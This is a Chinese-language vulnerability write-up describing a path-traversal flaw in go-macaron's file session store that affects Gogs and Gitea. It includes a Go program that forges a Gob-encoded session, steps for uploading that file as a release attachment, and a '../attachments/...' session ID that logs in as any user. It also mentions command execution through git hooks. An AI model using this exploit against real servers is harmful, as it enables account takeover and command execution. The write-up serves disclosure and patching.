由于两个代码管理平台均使用了go-macaron作为web框架, 而go-macaron中的session插件并没有对sessionid进行过滤, 从而导致了可以使用任意文件作为session的bug, 登陆其他任意账号.
P.S. 其实这个影响范围可以扩展到使用了go-macaron框架, 且存在文件上传的任何一个web应用中.
攻击者可登陆任意账号包括管理员账号,同时可利用git hooks执行任意命令,同时存在严重的越权和命令执行问题。
在gogs及gitea中均使用了go-macaron作为web框架, 也都使用了其中的session插件, 但是在go-macaron的session插件中, 并没有对cookie中传入的session ID做任何的过滤.
在gogs及gitea的默认配置中, 均使用了文件用于保存session, 而没有过滤../
, ./
等关键词给我们一个将任意文件作为session文件的机会.
// Read returns raw session store by session ID.
func (m *Manager) Read(sid string) (RawStore, error) {
return m.provider.Read(sid)
}
func (p *FileProvider) filepath(sid string) string {
return path.Join(p.rootPath, string(sid[0]), string(sid[1]), sid)
}
func (p *FileProvider) Read(sid string) (_ RawStore, err error) {
filename := p.filepath(sid)
if err = os.MkdirAll(path.Dir(filename), 0700); err != nil {
return nil, err
}
p.lock.RLock()
defer p.lock.RUnlock()
var f *os.File
if com.IsFile(filename) {
f, err = os.OpenFile(filename, os.O_RDONLY, 0600)
} else {
f, err = os.Create(filename)
}
if err != nil {
return nil, err
}
defer f.Close()
if err = os.Chtimes(filename, time.Now(), time.Now()); err != nil {
return nil, err
}
var kv map[interface{}]interface{}
data, err := ioutil.ReadAll(f)
if err != nil {
return nil, err
}
if len(data) == 0 {
kv = make(map[interface{}]interface{})
} else {
kv, err = DecodeGob(data)
if err != nil {
return nil, err
}
}
return NewFileStore(p, sid, kv), nil
}
这里, 我们以gogs为例, 进行一次测试.
首先, 对于每个用户, 我们都可以创建仓库, 通过release功能可以上传任意内容可控的文件, 从而为我们伪造session文件提供了条件.
通过explore功能, 我们能找到很多用户的仓库, 进入某用户的用户资料页面, 我们可以得到构造该用户session的所有需要的资料(uid, username).
通过上方file.go的代码, 我们发现, session文件的内容为Gob编码方式, 这里借鉴一下P神写的生成session的代码
package main
import (
"bytes"
"encoding/gob"
"encoding/hex"
"fmt"
"io/ioutil"
)
func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}
func main() {
var uid int64 = 1
obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "sockls"}
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
err = ioutil.WriteFile("test.png", data, 0755)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)
}
由此, 我们可以生成一段session, 通过每个用户均可使用的release上传功能, 我们将我们伪造的session上传至服务器.
对于默认配置的gogs,
release中文件存放的目录结构是, attachments/fid[0]/fid[1]/fid
.
session存放的目录结构是, sessions/sid[0]/sid[1]/sid
.
此外sessions与attachments文件夹均存放在相同的data文件夹下.
由于gogs会将session分段, 构造成最终的路径后再进行读取, 而attachments与session在同一文件夹下, 修改session为我们刚刚上传的文件的路径, 即../attachments/1/7/17f4120b-1a0d-416a-b0b0-def4342ded5b
, 读取session的函数将路径解析为sessions/././../attachments/1/7/17f4120b-1a0d-416a-b0b0-def4342ded5b
也就是我们上传的那个文件, 从而完成了任意用户登陆.
通过仓库的git hook也可以完成命令执行.
此外如果我们通过explore中找到的用户刚好为管理员用户, 则可以使用管理员面板.
更新至最新版.